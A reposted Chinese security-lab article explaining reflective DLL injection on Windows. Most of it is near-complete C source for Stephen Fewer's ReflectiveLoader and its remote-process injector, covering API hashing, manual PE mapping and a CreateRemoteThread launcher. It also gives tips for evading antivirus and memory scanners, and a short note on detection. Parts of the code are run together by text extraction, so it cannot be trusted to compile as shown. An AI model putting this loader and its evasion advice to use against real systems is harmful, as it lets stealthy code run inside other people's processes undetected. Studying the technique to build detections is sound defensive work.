0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

反射DLL注入的工作原理和实现流程

蛇矛实验室 来源:蛇矛实验室 2024-01-20 10:04 次阅读

本期作者/shadow

在之前的文章中,通过模拟 Windows 映像加载程序的功能,完全从内存中加载 DLL 模块,而无需将 DLL 存储到磁盘上,但这只能从本地进程中加载进内存中,如果想要在目标进程中通过内存加载 DLL 模块,可以通过一些 I/O 操作将所需的代码写入目标进程,但这大量的 I/O 操作对病毒引擎来说过于敏感,还有一个思路就是编写一段引导程序,这段引导程序用来模拟 Windows 映像加载程序的功能加载所需 DLL 模块,这就是本文所描述的技术,反射 DLL 注入。当然,还有一些其它的方法通过可以完成这样的需求,比如一些 PE 注入技术,进程镂空,进程重影等。

反射 DLL 注入

在理解其原理之前,需要知道什么是反射 DLL,反射 DLL 是一个特殊的 DLL 程序,其拥有一个 PE 加载程序的引导程序,这个引导程序被作为一个导出函数导出,一旦目标进程调用此导出函数,它将模拟 Windows 映像加载程序的功能,将 DLL 自身加载到内存中执行。

需要说明的是,必须保证这个特殊的导出函数中的代码是位置无关的,也就是说,该导出函数内部不能使用全局变量并且使用到的 WinAPI 必须通过在运行时通过 API Hash 值比对获取,不能使用全局变量是因为其被硬编码到编译后的二进制文件中,这些值在链接的过程中被添加到一个名为 .reloc 的区段中,而在执行这块引导程序(导出函数)的时候,注入到目标进程的 DLL 程序尚未被加载,因此无法进程被 Windows 映像加载程序对其执行重定位,如果在导出函数中使用全局变量的值,这将是一个无效的值,同样不能在函数内部使用 WinAPI 是同样的道理,在执行导出函数的时候,DLL 的 IAT 尚未修复,如果直接调用 WinAPI 将导致访问冲突异常。下图说明了反射 DLL 注入的工作原理

92b1f318-b6b3-11ee-8b88-92fbcf53809c.png

反射 DLL 的实现

反射 DLL 注入(ReflectiveDLLInjection)的 POC 最初是由Stephen Fewer 发布的,该 POC 由两部分组成,一部分是反射 DLL 的实现,该 DLL 存在一个特殊的导出函数名称为 ReflectiveLoader,另一部分是反射 DLL 的注入器代码。ReflectiveDLLInjection 其仓库地址为:https://github.com/stephenfewer/ReflectiveDLLInjection。

获取 ReflectiveLoader所需的

WinAPI 地址

前面提到,ReflectiveLoader 这个特殊的导出函数需要在运行时通过 API Hash 比对获取使用到的导出函数地址,ReflectiveLoader 函数中使用到的 WinAPI 有:

LoadLibraryA

GetProcAddress

VirtualAlloc

NtFlushInstructionCache

//STEP 1: process the kernels exports forthe functions our loader needs...

//get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2) + 0x30);
#endif
#endif

//get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress= (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

//get the first entry ofthe InMemoryOrder modulelist
uiValueA= (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
//get pointer to current modules name (unicode string)
uiValueB= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
//set bCounter to the length forthe loop
usCounter= ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//clear uiValueC which will store the hash ofthe modulename
uiValueC = 0;

//compute the hash ofthe modulename...
do
{
uiValueC = ror( (DWORD)uiValueC );
//normalize to uppercase ifthe madule name isinlowercase
if( *((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );

//compare the hash with that ofkernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
//get thismodules base address
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 3;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA= (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress= (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc= (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}
elseif( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// getthismodulesbaseaddress
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 1;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache= (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}

// westopsearchingwhenwehavefoundeverythingweneed.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;

// getthenextentry
uiValueA= DEREF( uiValueA );
}

定位反射 DLL 的基址

在获取 ReflectiveLoader 所需的 WinAPI 的地址后,接下来就是定位反射 DLL 的基址,也就是注入程序将反射 DLL 写入目标进程空间中的位置,实现这个过程有两种思路:

方法一:暴力检索目标进程中反射 DLL 的地址。

方法二:通过将 DLL 在目标进程中的基址通过参数形式传递给 ReflectiveLoader 函数。

方式二实现较为简单,就是在将反射 DLL 写入目标进程的过程中传递分配的地址给 ReflectiveLoader 函数,因为在写入反射 DLL 的过程中知道其在目标进程空间中的地址,方式一则是根据 PE 文件的头部特征进行定位,从 ReflectiveLoader 函数当前指令位置,不断向 DLL 头部进行检索(由于 ReflectiveLoader 函数必定在反射 DLL 中 PE 头部的下方),从而在目标进程中找到反射的 DLL 的基址。下面的代码利用暴力检索去定位反射 DLL 的基址。

// STEP 0: calculate our images current base address

// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();

// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE)
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
        {
            uiHeaderValue += uiLibraryAddress;
            // break if we have found a valid MZ/PE header
            if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}

其中 caller() 函数就是获取当前将要执行的指令地址:

#pragmaintrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTRcaller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

加载反射 DLL

到此已经完成了基本的准备工作,随后便可以加载注入到目标进程的反射 DLL,这个过程将模拟 Windows 镜像加载程序从而将反射 DLL 自身加载到目标进程内存中并执行。

这个加载过程如下:

首先分配足够的内存来保存反射 DLL 文件。

将反射 DLL 的 PE 头部和节区复制到分配的空间中。(可以不用复制 PE 头部以降低内存中特征的几率)。

修复反射 DLL 的基址重定位。

修复反射 DLL 的 IAT。

执行反射 DLL 的入口点代码(DllMain)。

//STEP 2: load our image into a newpermanent location inmemory...

//get the VA ofthe NT Header forthe PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//allocate all the memory forthe DLL to be loaded into. we can load at any address because we will 
//relocate the image. Also zeros all memory andmarks it asREAD, WRITE andEXECUTE to avoid any problems.
uiBaseAddress= (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

// wemustnowcopyovertheheaders
uiValueA= ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;

while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

//STEP 3: load inall ofour sections...

//uiValueA = the VA ofthe first section
uiValueA= ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// itteratethroughallsections, loadingthemintomemory.
uiValueE= ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
//uiValueB isthe VA forthissection
uiValueB= ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

// uiValueCiftheVAforthissectionsdata
uiValueC= ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

// copythesectionover
uiValueD= ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

//get the VA ofthe next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

//STEP 4: process our images importtable...

//uiValueB = the address ofthe importdirectory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

//we assume their isan importtable to process
//uiValueC isthe first entry inthe importtable
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// itteratethroughallimports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// useLoadLibraryAtoloadtheimportedmoduleintomemory
uiLibraryAddress= (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

// uiValueD= VAoftheOriginalFirstThunk
uiValueD= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

// uiValueA= VAoftheIAT(via first thunk notorigionalfirstthunk)
uiValueA= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

// itteratethroughallimportedfunctions, importingbyordinalifnonamepresent
while( DEREF(uiValueA) )
{
// sanitycheckuiValueDassomecompilersonlyimportbyFirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// gettheVAofthemodulesNTHeader
uiExportDir= uiLibraryAddress+ ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofaddresses
uiAddressArray= ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usetheimportordinal(- exportordinal base)asanindexintothearrayofaddresses
uiAddressArray+= ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

// patchintheaddressforthisimportedfunction
DEREF(uiValueA)= ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// gettheVAofthisfunctionsimportbynamestruct
uiValueB= ( uiBaseAddress + DEREF(uiValueA) );

// useGetProcAddressandpatchintheaddressforthisimportedfunction
DEREF(uiValueA)= (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// getthenextimportedfunction
uiValueA+= sizeof( ULONG_PTR );
if( uiValueD )
uiValueD+= sizeof( ULONG_PTR );
}

// getthenextimport
uiValueC+= sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

// STEP5: processallofourimagesrelocations...

// calculatethebaseaddressdeltaandperformrelocations(even ifwe load at desired image base)
uiLibraryAddress= uiBaseAddress- ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

//uiValueB = the address ofthe relocation directory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

//check iftheir are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
//uiValueC isnow the first entry (IMAGE_BASE_RELOCATION)
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// andweitteratethroughallentries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA= theVAforthisrelocationblock
uiValueA= ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

// uiValueB= numberofentriesinthisrelocationblock
uiValueB= ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) )/ sizeof( IMAGE_RELOC );

// uiValueDisnowthefirstentryinthecurrentrelocationblock
uiValueD= uiValueC+ sizeof(IMAGE_BASE_RELOCATION);

// weitteratethroughalltheentriesinthecurrentblock...
while( uiValueB-- )
{
// performtherelocation, skippingIMAGE_REL_BASED_ABSOLUTEasrequired.
// wedontuseaswitchstatementtoavoidthecompilerbuildingajumptable
// whichwouldnotbeverypositionindependent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= uiLibraryAddress;
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= (DWORD)uiLibraryAddress;
#ifdefWIN_ARM
// Note: OnARM, thecompileroptimization/O2seemstointroduceanoffbyoneissue, possiblyacodegenbug. Using/O1insteadavoidsthisproblem.
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{ 
registerDWORDdwInstruction;
registerDWORDdwAddress;
registerWORDwImm;
// gettheMOV.TinstructionsDWORDvalue(We add 4to the offset to go past the first MOV.W which handles the low word)
dwInstruction= *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flipthewordstogettheinstructionasexpected
dwInstruction= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanitychackweareprocessingaMOVinstruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pullouttheencoded16bitvalue(the high portion ofthe address-to-relocate)
wImm= (WORD)( dwInstruction & 0x000000FF);
wImm|= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm|= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm|= (WORD)((dwInstruction & 0x000F0000) >> 4);
// applytherelocationtothetargetaddress
dwAddress= ( (WORD)HIWORD(uiLibraryAddress) + wImm )& 0xFFFF;
// nowcreateanewinstructionwiththesameopcodeandregisterparam.
dwInstruction= (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patchintherelocatedaddress...
dwInstruction|= (DWORD)(dwAddress & 0x00FF);
dwInstruction|= (DWORD)(dwAddress & 0x0700)<< 4;
            dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
            dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
            // now flip the instructions words and patch back into the code...
            *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) )= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= HIWORD(uiLibraryAddress);
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= LOWORD(uiLibraryAddress);

// getthenextentryinthecurrentrelocationblock
uiValueD+= sizeof( IMAGE_RELOC );
}

// getthenextentryintherelocationdirectory
uiValueC= uiValueC+ ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

//STEP 6: call our images entry point

//uiValueA = the VA ofour newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;

其中需要注意的是,在执行 DllMain 入口函数之前,需要调用 NtFlushInstructionCache 函数去清除整个进程中的指令缓存,避免由于缓存使用重定位之前的代码。

还有一些补充的东西,比如设置节区的权限,针对反射 DLL 这个 PE 文件中如果存在异常处理程序,和 TLS 回调函数,这些需要去针对处理,这些内容在 PE 自注入文章中提及,可参考对其进行补充。

反射 DLL 注入器实现

在反射 DLL 实现后,需要编写一个反射 DLL 的注入程序将反射 DLL 注入到目标进程中,在这个注入器中,将获取反射 DLL 的导出函数 ReflectiveLoader 在目标进程中的地址进行远程调用。

获取 ReflectiveLoader 函数的地址

获取 ReflectiveLoader 导出函数的地址,通过一个名为 GetReflectiveLoaderOffset 的函数实现,该函数通过解析写入目标进程的反射 DLL 的导出表来获取 ReflectiveLoader 这个导出函数的地址。

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTRuiBaseAddress = 0;
UINT_PTRuiExportDir = 0;
UINT_PTRuiNameArray = 0;
UINT_PTRuiAddressArray = 0;
UINT_PTRuiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif

uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

// currenlty we can only process a PE file which is the same type as the one this fuction has 
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if( dwCompiledArch != 1)
return0;
}
elseif( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if( dwCompiledArch != 2)
return0;
}
else
{
return0;
}

// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

if( strstr( cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 

// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// return the File Offset to the ReflectiveLoader() functions code...
returnRva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);

// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}

return0;
}

其中 Rva2Offset 函数是将某数据的 RVA 转换为该数据在文件中的偏移量(FOA),具体转换公式为:

某数据的FOA=该数据的RVA−(该数据所在节的起始RVA–该数据所在节的起始FOA)

Rva2Offset 的代码如下,该函数将给定数据的 RVA 转换为对应的文件偏移量。

DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{ 
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;

pNtHeaders= (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

pSectionHeader= (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

if( dwRva < pSectionHeader[0].PointerToRawData )
        return dwRva;

    for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{ 
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           
           return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
    }
    
    return 0;
}

执行 ReflectiveLoader 函数

要想将反射 DLL 被加载执行,那么就需要执行其导出函数 ReflectiveLoader,在前面已经通过解析反射 DLL 获取到了 ReflectiveLoader 这个导出函数的地址,接下来就是执行它了。

在目标进程中执行 ReflectiveLoader 函数,首先需要将反射 DLL 写入到目标进程中,通过使用 VirtualAllocEx 函数在目标进程中开辟内存空间并写入反射 DLL 内容,之后通过 CreateRemoteThread 函数在目标进程创建一个线程执行 ReflectiveLoader 函数,这叫导致反射 DLL 被加载执行。

HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ){ BOOLbSuccess               = FALSE; LPVOID lpRemoteLibraryBuffer       = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread              = NULL; DWORD dwReflectiveLoaderOffset      = 0; DWORD dwThreadId             = 0; __try { do{ if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return hThread;}

测试

在反射 DLL 中编写需要执行的代码,并使用反射 DLL 注入器进行反射 DLL 注入到目标进程中进行测试。

VOID Go()
{
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
/// other code here.
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
switch(dwReason)
{
caseDLL_PROCESS_ATTACH:
Go();
break;
caseDLL_THREAD_ATTACH:
caseDLL_THREAD_DETACH:
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}

说明:在使用 Visual Studio IDE 编译反射 DLL 工程项目的过程中,注意关闭支持我的代码调试(/JMC)标志和禁用安全检查(/GS)标志,因为这些会导致编译器向最终的二进制代码中添加一些安全检查代码,需要避免编译器对反射 DLL 的进行优化,从而导致改变代码的执行路径,进而导致程序崩溃。

测试效果如下:

92bf1b42-b6b3-11ee-8b88-92fbcf53809c.png

检测

针对反射的 DLL 的导出函数 ReflectiveLoader 函数名称进行特征(这可以通过修改导出函数名称解决),使用 Pesieve 或者 Moneta 等内存扫描工具针对被加载的 PE 载荷进行运行时检测,这需要对运行的内存进行加密来对抗。针对一些敏感的 API 调用进行监控。

总结

